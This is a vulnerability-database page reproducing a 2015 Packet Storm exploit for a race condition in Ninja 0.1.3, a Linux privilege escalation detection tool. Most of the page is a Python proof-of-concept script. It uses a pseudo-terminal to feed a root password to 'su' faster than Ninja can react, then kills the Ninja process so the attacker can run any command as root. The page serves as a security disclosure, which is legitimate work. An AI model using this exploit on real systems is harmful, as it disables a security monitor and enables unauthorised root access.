Lucene search
K

Ninja 0.1.3 Race Condition

🗓️ 29 Apr 2015 00:00:00Reported by Ben SheppardType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

Ninja privilege escalation detection and prevention system 0.1.3 race condition. Small delay between command execution and privilege escalation detection allows faster password input using pty

Code
`#[Title] Ninja privilege escalation detection and prevention system race condition  
#[Author] Ben 'highjack' Sheppard  
#[URL] http://highjack.github.io/  
#[Description] There is a small delay between the time of execution of a command and the time privelege escalation is detected.  
#It is therefore possible to use a pty to run a command such as su and provide the password faster than it can be detected.  
#The following PoC becomes root using su and issues killall -9 ninja. The attacker can then run any commands that they wish.  
#[Software Link] http://forkbomb.org/ninja/  
#[Date] 29/04/2015  
#[Version] 0.1.3  
#[Tested on] Kali Linux  
#[Demo] https://www.youtube.com/watch?v=P8VJCUUJPLg  
  
#See me hitting every open port, 'cause im banging on their system while I'm staying out of the court  
#https://www.youtube.com/watch?v=eA136fOsSeQ  
  
import pty, os, sys, subprocess  
pid, fd = pty.fork()  
  
#begin config  
user = "root"  
password = "mypassword" #change this :)  
command = "killall -9 ninja"  
#end config  
  
  
def usage():  
print """  
@@@ @@@ @@@ @@@@@@@@ @@@ @@@ @@@ @@@@@@ @@@@@@@ @@@ @@@   
@@@ @@@ @@@ @@@@@@@@@ @@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@ @@@   
@@! @@@ @@! !@@ @@! @@@ @@! @@! @@@ !@@ @@! !@@   
!@! @!@ !@! !@! !@! @!@ !@! !@! @!@ !@! !@! @!!   
@!@!@!@! !!@ !@! @!@!@ @!@!@!@! !!@ @!@!@!@! !@! @!@@!@!   
!!!@!!!! !!! !!! !!@!! !!!@!!!! !!! !!!@!!!! !!! !!@!!!   
!!: !!! !!: :!! !!: !!: !!! !!: !!: !!! :!! !!: :!!   
:!: !:! :!: :!: !:: :!: !:! !!: :!: :!: !:! :!: :!: !:!   
:: ::: :: ::: :::: :: ::: ::: : :: :: ::: ::: ::: :: :::   
: : : : :: :: : : : : : ::: : : : :: :: : : :::   
  
[Title] Ninja privilege escalation detection and prevention system 0.1.3 race condition  
[Author] Ben 'highjack' Sheppard  
[URL] http://highjack.github.io/  
  
[Description] There is a small delay between the time of execution of a command and the time privelege escalation is detected.  
It is therefore possible to use a pty to run a command such as su and provide the password faster than it can be detected.  
The following PoC becomes root using su and issues killall -9 ninja. The attacker can then run any commands that they wish.  
"""  
  
  
executions = 0  
def check_procs():  
p1 = subprocess.Popen(["ps", "aux"], stdout=subprocess.PIPE)  
p2 = subprocess.Popen(["grep", "root"], stdin=p1.stdout, stdout=subprocess.PIPE)  
p3 = subprocess.Popen(["grep", "/sbin/ninja"], stdin=p2.stdout, stdout=subprocess.PIPE)  
output = p3.communicate()[0]  
if output != "":  
if executions != 0:  
sys.exit(0)  
return True  
else:  
return False  
  
def kill_ninja():  
if pid == 0:  
os.execvp("su", ["su", user, "-c", command])  
elif pid > 0:  
try:  
os.read(fd, 1024)  
os.write(fd, password + "\n")  
os.read(fd,1024)  
os.wait()  
os.close(fd)  
except:  
usage()  
print "[+] Ninja is terminated"  
sys.exit(0)  
  
  
while True:  
kill_ninja()  
if (check_procs == True):  
executions = executions + 1  
kill_ninja()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Apr 2015 00:00Current
7.4High risk
Vulners AI Score7.4
31